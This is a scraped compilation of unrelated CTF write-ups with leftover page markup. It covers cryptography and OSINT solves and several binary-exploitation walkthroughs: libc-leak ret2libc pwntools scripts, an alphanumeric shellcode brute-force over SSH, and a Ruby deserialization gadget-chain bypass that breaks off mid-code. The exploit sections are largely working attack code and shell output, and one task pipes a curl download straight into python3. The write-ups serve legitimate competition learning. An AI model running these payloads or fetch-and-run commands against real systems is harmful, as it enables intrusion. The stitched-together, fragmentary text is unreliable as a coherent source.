1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>compile.txt</span> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>gets</span> </div>
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# TaskBeing normal is hard these days because of Corona virus pandemic! We have source code and a file called output.txt. The source code is the following:
```import randomfrom flag import FLAG
p = 8443
def transpose(x): result = [[x[j][i] for j in range(len(x))] for i in range(len(x[0]))] return result
def vsum(u, v): assert len(u) == len(v) l, w = len(u), [] for i in range(l): w += [(u[i] + v[i]) % p] return w
def sprod(a, u): w = [] for i in range(len(u)): w += [a*u[i] % p] return w
def encrypt(msg): l = len(msg) hyper = [ord(m)*(i+1) for (m, i) in zip(list(msg), range(l))] V, W = [], [] for i in range(l): v = [0]*i + [hyper[i]] + [0]*(l - i - 1) V.append(v) random.shuffle(V) for _ in range(l): R, v = [random.randint(0, 126) for _ in range(l)], [0]*l for j in range(l): v = vsum(v, sprod(R[j], V[j])) W.append(v) random.shuffle(transpose(W)) return W
enc = encrypt(FLAG)print(enc)```
output.txt contains the "encrypted" flag.
# AnalysisThere are some computations made on the plaintext. The first one: multiply the ASCII value of each character with its index in the plaintext increased by one, to obtain the list called "hyper". Then, a diagonal matrix "V" is built from hyper: the values on the diagonal are the values from hyper, in the same order. The rows of the matrix are then shuffled. At this point, it starts the building of the matrix "W". To summarize, each row of W is the list "hyper", with each element modified in the following way:
```W[i][j] = (hyper[i] * random.randint(0, 126)) % p;where p = 8443, "i" and "j" in range(l), where "l" is the length of the message to encrypt.```
The previous shuffle was thwarted. Finally, there is a misleading statement: ```random.shuffle(transpose(W))```; the random shuffle could make the challenge much harder... if only it were happened. In fact, "transpose" function doesn't operate in place, returning the same object, but creates a new object. Therefore, the statement has no effects. The matrix "W" is then returned as "encrypted" output.
# SolutionThe generic column of "W", let's denote it as ```W[:][j]``` is of the following form:
```W[:][j] = [(ord(m) * (j + 1) * r[0][j]) % p, (ord(m) * (j + 1) * r[1][j]) % p, ... , (ord(m) * (j + 1) * r[l-1][j]) % p]```
If it wasn't for the modulo operations, we could easily get ```ord(m) * (j + 1)``` by computing the GCD over column j, then obtain the character m in position j for each j, and finally join all characters to obtain the plaintext.
We can try to find a way to compute GCD in finite fields, but since the range of random values is not very large, we can compute a full mapping. I mean: for each index i in the range of the length of the plaintext, for each possible character m in the plaintext's alphabet, for each possible random value r, compute the out value: ```((i + 1) * ord(m) * r) % p```, and remember it in a dict which maps out values to corresponding pairs (index, ASCII value of character); note that we don't need to memorize the random value.
Now, we know that for each column, we are going to find the same pair ```(i + 1, ord(m))```. So, starting from the first element of a column and looking at its out value, we have a set of possible ```(i + 1, ord(m))``` pairs which could have generated that value. If we look at the second element, it will have, in general, a different value and so a different set; but at least one pair must be in common with the first set, because one pair will be the good one for all the elements in the column. Therefore we compute the intersection between the first set and the second set, and remember the result in "s". As you may expect, now the game is simple: we loop over the column, obtain for each element the set of possible pairs, compute the intersection between this set and the set "s" and assign the result to "s". We do this for all columns, obtaining an ordered list of sets of possible ```(i + 1, ord(m))``` pairs.
At this point, we have to choose the pairs, and now the statement "the random shuffle could make the challenge much harder" written before makes sense. It's easy to choose the pairs if we suppose that for each set the indexes are unique, and this is easy to have because of the intersections between columns' sets. In fact, from the set in position "i" in the ordered list, we just choose the pair which has index equal to "i + 1", and discard all the other pairs. Now we have a list of pairs, that easily become a list of ASCII values, and we obtain the flag from this last list.
Here is the script:
```import string
# redacted here for readabilityoutput = [ [...], ..., [...] ]
def main(): p = 8443 mapping = {} alphabet = string.digits + string.ascii_letters + '!-.?_{}' for i in range(len(output)): for m in alphabet: for r in range(127): _key = ((i + 1) * ord(m) * r) % p _value = (i + 1, ord(m)) if mapping.get(_key): mapping[_key].add(_value) else: mapping[_key] = set([_value]) values = [] for i in range(len(output)): col = [output[j][i] for j in range(len(output))] s = mapping[col[0]] for j in range(1, len(col)): s = s.intersection(mapping[col[j]]) values.append(s) for i in range(len(values)): val = values[i] inOrder = False delSet = set() for t in val: if t[0] == i + 1: inOrder = True else: delSet.add(t) if inOrder: values[i] = values[i] - delSet
# sanity check :) assert all(map(lambda _set: len(_set) == 1, values)) m = [0] * len(values) for i in range(len(values)): ind, flag_char = list(values[i])[0] m[ind - 1] = flag_char print("".join([chr(i) for i in m]))
if __name__ == "__main__": main()
```
CCTF{H0w_f1Nd_th3_4lL_3I9EnV4Lu35_iN_FiN173_Fi3lD5!???} |
# picoCTF 2021: Binary Gauntlet 3__Points: 80 Category: Binary Exploitation__> The stack is no longer executable.
This challenge gives you a binary that is (as far as I can tell) exactly the same as the one from Binary Gauntlet 2, except the stack and heap are affected by the NX bit this time and there are therefore no read-write-execute segments in the binary anymore:```hxxr@device:~$ checksec gauntlet[*] '/home/hxxr/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
Here's the Ghidra-decompiled main function of Binary Gauntlet 2 and Binary Gauntlet 3 again for reference:```cundefined8 main(void)
{ char local_78 [104]; char *local_10; local_10 = (char *)malloc(1000); fgets(local_10,1000,stdin); local_10[999] = '\0'; printf(local_10); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; strcpy(local_78,local_10); return 0;}```
Unlike in Binary Gauntlet 1 and Binary Gauntlet 2, we can't just put our shellcode on the stack and use a buffer overflow to execute it because the stack is nonexecutable. Instead we have to use the buffer overflow to jump to existing code within the libc (i.e. a "return to libc"). First we have to figure out what libc the server is using. By solving either Binary Gauntlet 1 or Binary Gauntlet 2 we already have shell access to the server so we can run `ldd --version`:```$ ldd --versionldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions. There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.Written by Roland McGrath and Ulrich Drepper.```
So the libc version is `libc6_2.27-3ubuntu1.4_amd64` for which you can find a list of libc offsets [here](https://libc.blukat.me/d/libc6_2.27-3ubuntu1.4_amd64.symbols)
Ok, in order for the return to libc to work we must also leak an address inside the libc. By setting a breakpoint in GDB at the printf call in the main function and checking the individual entries in the stack one by one, I determined that the 23rd item in printf's stack was 231 more than the address of \_\_libc\_start\_main. According to the symbol table from libc.blukat.me, the address of \_\_libc\_start\_main is 0x21b10 more than the base address of libc. Great, let's use simple math to recover the base address of libc:```python#!/usr/bin/env python3from pwn import *r = remote('mercury.picoctf.net', 30844) # your port number will varyr.sendline('%23$p')libc_base = int(r.recvline(), 16) - 231 - 0x21b10print(f'### libc base: {hex(libc_base)}')```
Now that we have the libc base address the idea is we can use the buffer overflow to jump to any single gadget (because there cannot be any null bytes in the input, but unfortunately all x86-64 addresses have at least 1 null byte in them) in the libc as long as we know the distance from the base address of libc to the gadget's address, by again using simple math. You might think you can just jump into the system function at this point, but apparently not: you will get a segmentation fault due to stack alignment issues. Instead I used [one_gadget](https://github.com/david942j/one_gadget) to find a single gadget (at offset 0x4f432) in the libc that we can jump to that will instantly grant us shell access.```python#!/usr/bin/env python3from pwn import *r = remote('mercury.picoctf.net', 30844) # your port number will varyr.sendline('%23$p')libc_base = int(r.recvline(), 16) - 231 - 0x21b10print(f'### libc base: {hex(libc_base)}')gadget_offset = 0x4f432r.sendline(b'A'*120 + p64(libc_base + gadget_offset))r.interactive()``````[+] Opening connection to mercury.picoctf.net on port 30844: Done### libc base: 0x7f625a6f6000[*] Switching to interactive mode$ lsflag.txtgauntletxinet_startup.sh$ cat flag.txtf629b2024e0ea88a2ac92205bf5e4b4b```__Flag: `f629b2024e0ea88a2ac92205bf5e4b4b`__ |
1. View the code. The flag is stored inside inp[] array. The array has a length of 17 blocks.2. Let's restructure the array.
a = "LTR"b = "0D"c = "S1"
* inp[0] == a[2] -> R* inp[1] == a[1] -> T* inp[2] == a[0] -> L* inp[3] == "{" -> {* inp[4] + inp[5] == b[::-1] -> D0* inp[6] == "N" -> N* inp[7] == "T" -> T* inp[8] == chr(95) -> _* inp[9] + inp [10] == b[::-1] -> D0* inp[11] + inp[12] + inp[13] == "TH" -> TH* inp[14] + inp[15] == c[::-1] -> 1S* inp[16] == "}" -> }
Reference:1. What is the meaning of “int(a[::-1])” in Python?[ https://stackoverflow.com/questions/31633635/what-is-the-meaning-of-inta-1-in-python/31633656 ] |
Name: WWII Code?By: RJCyber
Thehackerscrew are back! They have encrypted their message with a more advanced type of encryption.
We have intercepted this information in this specific order:Message: dvk{3ynxc@_1h_zd3_l@b_u0_u0}M3UKW BVII 3 2VII 16 3VIII 6 3eb ch af gd ij kp mn oz …
We have also found out that they have left out 4 plugboard partners. What does this mean?Flag format is RTL{flag}
Flag: RTL{3nigm@_1s_th3_w@y_t0_g0}
Writeup:The type of encryption used here is the Enigma Machine. The challenge is called “WWII Code,” since it was used by the Germans in WWII to send encrypted messages. Given are the different “settings” for cracking the code. The last 4 plugboard partners that are to be solved are “ut yw lq xv.” We can find these plugboards by focusing on the output text and substituting letters as needed. Having found this, the flag would then be decrypted to RTL{3nigm@_1s_th3_w@y_t0_g0}. |
First search "charlie chaplin development" or "charlie chaplin coding" on Twitter and filter by People.
You will find a user with the Twitter account: @ChaplinCoding
One of the posts says "Check out my other lists".
Twitter has a feature called Lists where users can create lists and other (logged in) users can view this.
In the second list entry by @ChaplinCoding, there will be the flag:
`uiuctf{pe@k_c0medy!}` |
Gonnections was a pwn challenge from UIUCTF 2021,
written by kmh. it was a tricky one..
the binary and a dockerfile was provided.
let's do a quick check on the binary:
[](https://imgur.com/ek4orX0.png)
as we can see this a 32bit binary, with stack executable, and PIE on.
the binary working is very simple and quick to reverse.
let's examine it on IDA:
[](https://imgur.com/HUYXQfE.png)
basically, the challenge ask for a 32bit address, and jump to it.
that's all...
PIE in 32bit mode has only 12bit of ASLR in address, so it is possible to bruteforce the addresses in a reasonnable amount of time,
depending on connection speed, and server responsiveness..could take minute or some hours.. still doable...
the settings of the challenge, was a bit weird, you can connect to the binary, via SSH, via a tcp port, or via a UDP port..
the libc was 2.31, and the docker was based on ubuntu 20.04..
my first tries were to bruteforce one gadgets address, but the registers at the time of the jump (call eax),
were not good for executing onegadgets..
so I try different tricks, ret2main, etc... nothing works...
then I stop, and think a bit :)
if stack is RWX, that indicates that probably a shellcode has to be executed on stack.. and the 32bit setting indicates a bit of bruteforce probably..
but how to put a shellcode on stack, with such a minimal binary...
well the answer was environnement variables, and to use the SSH connection to the binary.
a quick check in the sshd_config in the docker, confirm that you can pass LC_* & LANG env variable
to the remote program. And of course , env variables will be stored on stack, and can be pretty big..
so the attack strategy was to put an alphanumeric shellcode with a big nopsled in a env variable,
and to bruteforce the stack address to jump in it...
with a 130000 bytes nopsled, only around 7 bits of ASLR are left to guess (1/128) which is easier...
the jump to the function is a CALL EAX instruction, so EAX will contain the address where we jump.
my alphanumeric shellcode is a self modifying code, that needs EAX to contains beginning address of shellcode.
so we will use INC EAX (@ in ascii) in our nopsled, like this, anywhere we jump in the nopsled,
when the shellcode will be reached, EAX will be adjusted to the beginning of our shellcode..perfect !!
so here is the exploit code:
```pythonfrom pwn import *context.log_level = 'error'import os
# execve 32bit alphanumeric shellcode (need eax points to shellcode)shellcode = 'j014d34d1p21pBZV34dN1pAX40PZRhUUshXf5zzPhUbinX4zPTkj0X40PSTYjOX4D2O'# environement variable to put shellcode on stack, 130000 bytes nopsled beforce (inc eax)os.environ['LC_PIPO'] = '@'*130000 + shellcode
tries = 0while tries<100: print(str(tries)) if args.LOCAL: p = process('sshpass -p gonnegtions ssh -T -o SendEnv=LC_PIPO -p 1339 [email protected]', shell=True) else: p = process('sshpass -p gonnegtions ssh -T -o SendEnv=LC_PIPO -p 1339 [email protected]', shell=True) p.sendlineafter('to? ', str(0xffd38000)) try: p.recv(1,timeout=1) p.sendline('id;cat /flag.txt;') p.interactive() except: p.close() tries += 1```
ok see it in action :)
*nobodyisnobody for RootMeUpBeforeYouGoGo* |
From the YouTube [video](https://www.youtube.com/watch?v=LniQBHja9bw) discovered in the previous challenge, visit the channels About page.
In the Links container, you will find a link to the site.
To find the flag, scroll down to the 3-image slideshow and open the second image. The computer screen will contain the flag:
`uiuctf{ch@pl1n_i5_eL337}` |
# Return of the Intro to Netcat (662 solves, 160 points)## Descriptionhey, netcat seems fun! (with a twist)
`nc return-of-the-intro-to-netcat.hsc.tf 1337`## SolutionThis one was one of the easier challenges.
The server gives us this:```== proof-of-work: enabled ==please solve a pow firstYou can run the solver with: python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AAD1NSzaviS15ewE/zJ3lZFb===================
Solution?```I opened a new terminal window and ran the given command ``python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AAD1NSzaviS15ewE/zJ3lZFb``
This gives me: ``s.AAB8PXCCRqChJ7WzDBUzjUv6t61ISzLAaSuK5R5W0k/y1gafBydG/gOOgIRgsaudj9OR7ZB2h2PhArYDhQEPFps3wZH2R7NodkCReoUPXoZxHRY2ntcztiZck5lKGxq8bmoYdpW4LWHQ+oTiJ+lVh0P6aB3vN63LXwzzUrhX4RLtfR+IjzXGn29JklaAZST/H37zpebVpF+8Np7BdrWHg1sF``To my suprise, supplying the response to the nc server spits out the flag!```== proof-of-work: enabled ==please solve a pow firstYou can run the solver with: python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AACF.AAD1NSzaviS15ewE/zJ3lZFb===================
Solution? s.AAB8PXCCRqChJ7WzDBUzjUv6t61ISzLAaSuK5R5W0k/y1gafBydG/gOOgIRgsaudj9OR7ZB2h2PhArYDhQEPFps3wZH2R7NodkCReoUPXoZxHRY2ntcztiZck5lKGxq8bmoYdpW4LWHQ+oTiJ+lVh0P6aB3vN63LXwzzUrhX4RLtfR+IjzXGn29JklaAZST/H37zpebVpF+8Np7BdrWHg1sFCorrectYou got it! Here's what you're looking for: flag{the_cat_says_meow}```
## Flag``flag{the_cat_says_meow}``
|
Investigating the maths behind the challenge we find some interesting maze we must traverse in order to find the flag...
Writeup - https://www.sebven.com/ctf/2021/05/01/SanDiegoCTF-Desmos-Pro.html |
On the same Twitter account from the first challenge ([@ChaplinCoding](https://twitter.com/ChaplinCoding)) there will be a link to a YouTube video.
Follow this link and skip to 0:57 in the video to find the flag:
`uiuctf{ch@plin_oN_th3_tV!!}` |
On the company [site](https://www.charliechaplin.dev/) from the last challenge, visit the Contact page and fill in the form however you please.
On submitting the form, you will receive the flag:
`uiuctf{w3_d0_nOt_v@lu3_yoUR_1nPuT}` |
[Original writeup ](https://zettabytenepal.blogspot.com/2021/06/hsctf-8-writeups-started-after-quiet.html)https://zettabytenepal.blogspot.com/2021/06/hsctf-8-writeups-started-after-quiet.html |
On the company [site](https://www.charliechaplin.dev/) from the last challenge, visit the About Us page.
Scroll down to the bottom of the page and you will find an image from Imgur.
Visit the page and then the account, then go to the Comments tab and scroll to the oldest comment, which contains the flag:
`uiuctf{tH3_pR_p0Lic3_h@vE_cAugHt_Up?!}` |
Follow the link to the authors Twitter account given in the challenge description.
In the account bio, you will see a link to another account.
Note both of the Twitter account tags; we will use them to try to find a post that contains the flag.
Create an [Advanced Search](https://twitter.com/search-advanced) and:1. In the "All of these words" filter write `uiuctf`2. In the "From these accounts" filter write both Twitter tags (`@0xQuig @Thomas_Quig`)
(Another method is to simply search with: `(uiuctf) (from:0xQuig OR from:Thomas_Quig)`)
In one of the posts listed in the results, the flag will show up as:
`uiuctf{it5_@_sEcr3t_t0ol_thAT_w!ll_he7p_u$_l@ter}` |
# Angstrom FREE FLAGS Write Up
## Details:Points: 50
Jeopardy style CTF
Category: Reverse Engineering
Comments:
Clam was browsing armstrongctf.com when suddenly a popup appeared saying "GET YOUR FREE FLAGS HERE!!!" along with a download. Can you fill out the survey for free flags?
Find it on the shell server at /problems/2021/free_flags or over netcat at nc shell.actf.co 21703.
## Write up:
Decompiling the main function we get:
```cint __cdecl main(int argc, const char **argv, const char **envp){ int v4; int v5; int v6; int v7; char s[264]; unsigned __int64 v9;
v9 = __readfsqword(0x28u); puts("Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!"); puts("What number am I thinking of???"); __isoc99_scanf("%d", &v7;; if ( v7 == 31337 ) { puts("What two numbers am I thinking of???"); __isoc99_scanf("%d %d", &v6, &v5;; if ( v5 + v6 == 1142 && v5 * v6 == 302937 && (puts("What animal am I thinking of???"), __isoc99_scanf(" %256s", s), s[strcspn(s, "\n")] = 0, !strcmp(s, "banana")) ) { puts("Wow!!! Now I can sell your information to the Russian government!!!"); puts("Oh yeah, here's the FREE FLAG:"); print_flag(); v4 = 0; } else { puts("Wrong >:(((("); v4 = 1; } } else { puts("Wrong >:(((("); v4 = 1; } return v4;}```
We can see that we need to answer a few questions. The first one we need to answer 31337, the second one we need to find two numbers that match the equation, I chose 723 and 419, and for the last one we need to answer banana. When I ran the server and entered the answers I got:
```Congratulations! You are the 1000th CTFer!!! Fill out this short survey to get FREE FLAGS!!!What number am I thinking of???31337What two numbers am I thinking of???723 419What animal am I thinking of???bananaWow!!! Now I can sell your information to the Russian government!!!Oh yeah, here's the FREE FLAG:actf{what_do_you_mean_bananas_arent_animals}``` |
*This writeup is also readable on my [GitHub repository](https://github.com/shawnduong/zero-to-hero-hacking/blob/master/writeups/closed/2021-redpwn.md) and [personal website](https://shawnd.xyz/blog/2021-07-15/Executing-a-Textbook-ret2libc-Attack-to-Pop-a-Shell).*
## pwn/ret2the-unknown
*Challenge written by pepsipu.*
> hey, my company sponsored map doesn't show any location named "libc"! \> `nc mc.ax 31568`
Files: [`ld-2.28.so`](https://irissec.xyz/uploads/2021-07-18/ld-2.28.so), [`libc-2.28.so`](https://irissec.xyz/uploads/2021-07-18/libc-2.28.so), [`ret2the-unknown`](https://irissec.xyz/uploads/2021-07-18/ret2the-unknown), [`ret2the-unknown.c`](https://irissec.xyz/uploads/2021-07-18/ret2the-unknown.c)
Checksums (SHA-1):
```4196dfaca4fc796710efd3dd37bd8f5c8010b11d ld-2.28.so13d8d9f665c1f3a087e366e9092c112a0b8e100f libc-2.28.so4be711c76823689dc21689f7d7324b048b978153 ret2the-unknown4d1b7852d772135c17e573cd6aeb4cad434a0f30 ret2the-unknown.c```
This is a textbook ret2libc challenge without much else going on, and thus a great opportunity for me to explain ret2libc attacks!
As with any binary exploitation (pwn) challenge, let's first start by interacting with the program and looking for vulnerabilities. In order to make the `ret2the-unknown` binary use the given `ld-2.28.so` and `libc-2.28.so`, we can use `patchelf` as well as setting the `LD_PRELOAD` before executing the binary. We'll also of course remember to make `ret2the-unknown` executable using `chmod` so that we can run it. Let's check the security of the binary while we're at it as well using pwntools.
```$ chmod +x ./ret2the-unknown$ pwn checksec ./ret2the-unknown$ patchelf --set-interpreter ./ld-2.28.so ./ret2the-unknown$ LD_PRELOAD=./libc-2.28.so ./ret2the-unknown```
Alright, cool. The program takes some input from us and then spits out an address. There's partial RELRO, no stack canary, and no PIE, although there is NX. Partial/no RELRO is usually useful for PLT/GOT attacks, no stack canary is usually useful for overflow attacks, and no PIE is usually useful in general for all sorts of attacks.
The source code of the binary is also given in `ret2the-unknown.c`:
```c#include <stdio.h>#include <string.h>
int main(void){ char your_reassuring_and_comforting_we_will_arrive_safely_in_libc[32];
setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL);
puts("that board meeting was a *smashing* success! rob loved the challenge!"); puts("in fact, he loved it so much he sponsored me a business trip to this place called 'libc'..."); puts("where is this place? can you help me get there safely?");
// please i cant afford the medical bills if we crash and segfault gets(your_reassuring_and_comforting_we_will_arrive_safely_in_libc);
puts("phew, good to know. shoot! i forgot!"); printf("rob said i'd need this to get there: %llx\n", printf); puts("good luck!");}```
The address that was given was the address of `printf`, a libc function. Knowing the address of **anything** in libc is useful because we can calculate the base address of the loaded libc by taking the difference between the address present in the static libc file and the address present in the loaded libc. Once we know the base address of the libc, then we can calculate the address of all other libc items using their offsets.
Already, we can see that this program is vulnerable to a ret2libc attack. Being able to calculate the base address of the libc means that we know the address of `system`. All we need to do is search through the libc for a `pop rdi; ret;` gadget and `"/bin/sh"` string and we can execute `system("/bin/sh");`. Overflow the buffer, overwrite the return address with the address of our `pop rdi; ret;` gadget, `"/bin/sh"` string, and `system` address in libc and we have a shell!
However, there's one problem: we're given the `printf` address *after* we write to a buffer. This `printf` address does not stay the same, as we can see:
This interrupts our original attack plan. Overflowing the buffer and overwriting the return address with our exploit, which includes the `system` address from libc, requires knowing the base address of the libc to begin with in order to be calculated. This is where the binary having PIE disabled will help us. Because PIE is disabled, the program is loaded into the same memory address each time it is run. Thus, the address of `main` is predictable.
```$ objdump -d -M intel ./ret2the-unknown | grep "<main>:"```
Great! `main` has the address `0x401186`. If we were to overflow the buffer and overwrite the return address with `main`'s address, then the program will repeat itself. With this slight adjustment, our attack plan is complete:
0: Get the offset of a `pop rdi; ret;` gadget in the given static libc file. \1: Use a buffer overflow to overwrite the return address of `main` with the address of `main`. This will cause the `main` function to repeat itself once more. \2: The `main` function will give us the address of the loaded `printf` function from libc. \3: `main` will repeat itself thanks to our overflow from part 1. \4: Calculate the libc base address using the address of the loaded `printf` function from part 2. This is equal to the given loaded `printf` address minus the `printf` offset from the static libc file. \5: Use the libc base address to calculate the real address of the `pop rdi; ret;` gadget using its offset from part 0. \6: Use the calculated libc base address to calculate the real address of a `"/bin/sh"` string in the libc. \7: Use the libc base address to calculate the real address of the `system` function in libc. \8: Use a buffer overflow to overwrite the return address of `main` with `<addr_gadget><addr_binsh><addr_system>`. \9: Get a shell!
Starting off with part 0, you can easily find gadgets using a tool like `ropper`.
Now we know that there's a `pop rdi; ret;` at `0x023a5f`. Note that this was found in the given static libc file, meaning that it hasn't been loaded yet. This is why it's so important to calculate the base address of the **loaded** libc in the program. `0x023a5f` here is essentially the offset of the gadget, so to find the address of the same gadget in the running program, we just add it to the loaded libc's base address.
The entire exploit can be easily scripted in Python with pwntools.
Part 1 would look something like the following. Note that we need 32 bytes *plus* an additional 8 bytes to get to the return address. You can find out how many bytes you need to write to a buffer to get to the return address by overflowing with a pattern and seeing what address it will try to return to in a debugger like `gdb`:
```pythonexploit = b"A" * (32+8)exploit += p64(0x401186)```
Remember that `0x401186` was just the address of `main` that we discovered earlier. This code creates an exploit consisting of 32+8 bytes of padding plus the address of `main`, effectively making `main` return to `main` and therefore running itself one more time.
Part 2 can be read by parsing the data returned by the program. Based on the input, I got something like the following to extract the given hexadecimal address from the program:
```pythonprintf_addr = p.recvuntil("luck!").decode("utf-8").split("\n")[0]printf_addr = int(printf_addr, 16)```
The program will automatically repeat itself as planned in part 3. We can now calculate the libc base address using `printf_addr` from part 2. In fact, we can actually declare the base address in pwntools itself so that all future searches and lookups will use this base address:
```pythonlibc = ELF("./libc-2.28.so")libc.address = printf_addr - libc.symbols["printf"]```
What this code will do is it will load the libc file, take the `printf_addr` the program gave us, and subtract the offset of `prinf` from the libc file from it, therefore giving us the base address of the loaded libc. Part 4 complete!
Therefore, the `pop rdi; ret;` gadget is located at this base address *plus* `0x023a5f`. We can search through the libc for `"/bin/sh"` and `system` with pwntools now that we've declared its base address. We of course need to remember our padding as well to slide over to the return address. Parts 5-8, done:
```pythonexploit = b"B" * (32+8)exploit += p64(libc.address + POP_RDI_RET)exploit += p64(next(libc.search(b"/bin/sh")))exploit += p64(libc.symbols["system"])```
Our final exploit code will look something like the following:
```python#!/usr/bin/env python3
from pwn import *
# Gadget offsets.POP_RDI_RET = 0x00023a5f # pop rdi; ret;
# Remote switch.REMOTE = True
def main():
# Load the files. vuln = ELF("./ret2the-unknown") libc = ELF("./libc-2.28.so")
# Connect to the target. if REMOTE: p = remote("mc.ax", 31568) else: p = process("./ret2the-unknown", env={"LD_PRELOAD": "./libc-2.28.so"})
# Overwrite ret. addr. with main's addr. exploit = b"A" * (32+8) # Padding to get to ret. exploit += p64(0x401186) # main() address overwrites ret. log.info("Overwriting return address with main.") p.recvuntil("safely?") p.sendline(exploit)
# main should repeat and give us printf addr. p.recvuntil("there: ") printf_addr = p.recvuntil("luck!").decode("utf-8").split("\n")[0]
# Calculate the offsets and addresses. printf_addr = int(printf_addr, 16) # Load the printf address. libc.address = printf_addr - libc.symbols["printf"] # Calculate and set the libc address.
# Create the exploit that overwrites ret. addr. with shellcode. exploit = b"B" * (32+8) # Padding to get to ret. exploit += p64(libc.address + POP_RDI_RET) # Gadget: pop rdi; ret; exploit += p64(next(libc.search(b"/bin/sh"))) # Pass /bin/sh. exploit += p64(libc.symbols["system"]) # Call system().
# Send the exploit. log.info("Delivering exploit.") p.recvuntil("safely?") p.sendline(exploit)
# Interact with the shell. log.info("Spawning shell.") p.recvuntil("luck!") p.interactive()
if __name__ == "__main__": main()```
Launch the exploit and sure enough, we have a shell:
It's a textbook ret2libc attack. |
In the footer text on the [Contact](https://www.charliechaplin.dev/contact) page of the site, we can see a reference to a possible LinkedIn group, and we're given some search text, which is handy.
The easiest method is to search by "C3D" on LinkedIn and filter by "Groups".
You will find a group that is clearly what we are looking for, and the owner is yours truly.
In the Experience section, you will see an indication upon an event called "Top Hat Development Night"
Use that text to create a search on LinkedIn and filter by Events.
There you'll find the event we are looking for.
In the event description, there will be the flag:
`uiuctf{pr0f3s5iOn@l_bUs1n3sS_envIroNm3n7} ` |
# Inspector Gadget
* Category: Pwn* 450 points* Solved by JCTF Team
## Description
Given a docker file with a ruby file in it (given in the appendix) and an address of a remote server
## Inpection
First let's try to connect to the server and what it is all about:```$ nc inspector-gadget.ctf.bsidestlv.com 3000
### ##### # # # #### ##### ###### #### ##### #### ##### # # ## ##### #### ###### ##### # ## # # # # # # # # # # # # # # # # # # # # # # # # # #### # # ##### # # # # # # # #### # # # # # ##### # # # # # # ##### # # # # # ##### # # ###### # # # ### # # # # ## # # # # # # # # # # # # # # # # # # # # # ### # # #### # ###### #### # #### # # ##### # # ##### #### ###### #
Please insert log object in base64 format (for example 'BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q='):```Let's try the example. We get:
```level,messageINFO,Message```we decoded the example and got:
```$echo BAhvOg9EeW5hbWljTG9nCDoLQGxldmVsSSIJSU5GTwY6BkVUOg1AbWVzc2FnZUkiDE1lc3NhZ2UGOwdUOgpAdHlwZUkiCGNzdgY7B1Q= | base64 -d | hexdump -C00000000 04 08 6f 3a 0f 44 79 6e 61 6d 69 63 4c 6f 67 08 |..o:.DynamicLog.|00000010 3a 0b 40 6c 65 76 65 6c 49 22 09 49 4e 46 4f 06 |:.@levelI".INFO.|00000020 3a 06 45 54 3a 0d 40 6d 65 73 73 61 67 65 49 22 |:.ET:.@messageI"|00000030 0c 4d 65 73 73 61 67 65 06 3b 07 54 3a 0a 40 74 |.Message.;.T:.@t|00000040 79 70 65 49 22 08 63 73 76 06 3b 07 54 |ypeI".csv.;.T|```Ok, what it is?
We downloaded and extract the docker image and found a ruby script named index.rb (attached in the appendix below).Notice that the flag file is located in the same folder but is never used or referenced by the ruby script.we will get to it later.
In the script we can see that it decodes the base64 input and unmarshals it:```ruby serialized_object = Base64.decode64 gets is_blocked = firewall serialized_object puts return puts 'Blocked By The Application Firewall' if is_blocked
Marshal.load(serialized_object).log rescue nil```
Hey, but what is this firewall in the second line above? ?
The name of the challenge implies that we need to use gadget chain in order to exploit the deserialization and achieve arbitrary command execution.
This technique is decribed [here](https://www.elttam.com/blog/ruby-deserialization/).
Ruby Gadget Chain TL;DR-ing:* When we call to Marshal.load there is a function named "marshal_load" which called automatically if the loaded object implements it.* the loaded object contains other objects and is constructed in such a way that triggers a chain of automatic functions (apparently there are many of them) until, in the end of the chain, "system" function is invoked with any command we want (we want "cat flag").* In our case the first object in the chain is [Gem::Requirement](https://github.com/rubygems/rubygems/blob/master/lib/rubygems/requirement.rb) which implements marshal_load **and** triggers the next functionin the chain - which is the "each" function - that is called on each object that is given to it.* We highly recommend to read the details in the above mentioned article
But can it work here?## The ProblemThere are three obstacles in our way to run a succefully gadget chain:1. First, the original gadget chain contains the classes **Gem::DependencyList**, **Gem::Source::SpecificFile** and **StubSpecification**, and they are all blocked by the firewall function :-(
2. Second, the original gadget is invoked by marshal_load of **Gem::Requirement**, but in the challenge that function is overridden by an empty marshal_load function (which means that upon loading a Gem::Requirement object nothing will happen):```rubyclass Gem::Requirement def marshal_load(array) endend```3. Moreover, we need also DynamicLog object in order to pass the firewall check.## The Solution### 1. Bypassing the firewall#### Side Quest:To pass the first obstacle we tried for a long time "manually fuzzing" the marshalled object to pass the firewall.But that didn't go well and we didn't find special chars or conditions which will split pass the firewall filtering and will keep the objects valid...
Now what? 
The inspector has to look for another gadget chain.#### Finding Another Chain:[Here](https://github.com/realgam3/ysoserial.rb/blob/main/lib/ysoserial/gadgets/UniversalGadget2.rb) we found another gadget chain (good work [realgam3](https://twitter.com/realgam3)!) that doesn't contain the blocked objects, **except from Gem::Requirement** that also here appears first in the chain using its marshal_load function.### 2. Replacing the First Part of the ChainTo pass the second obstacle we needed to replace **Gem::Requirement** with another object that is not blocked by the firewall but implements marshal_load similarly (by calling the "each" function for each sub-object in it).Let's look for another class with marshal_load.In the above mentioned [article](https://www.elttam.com/blog/ruby-deserialization/) there is code that searches the appearance of a function in other available objects.This is the code we took from there:
```rubyObjectSpace.each_object(::Class) do |obj| all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods
if all_methods.include? :marshal_load method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s
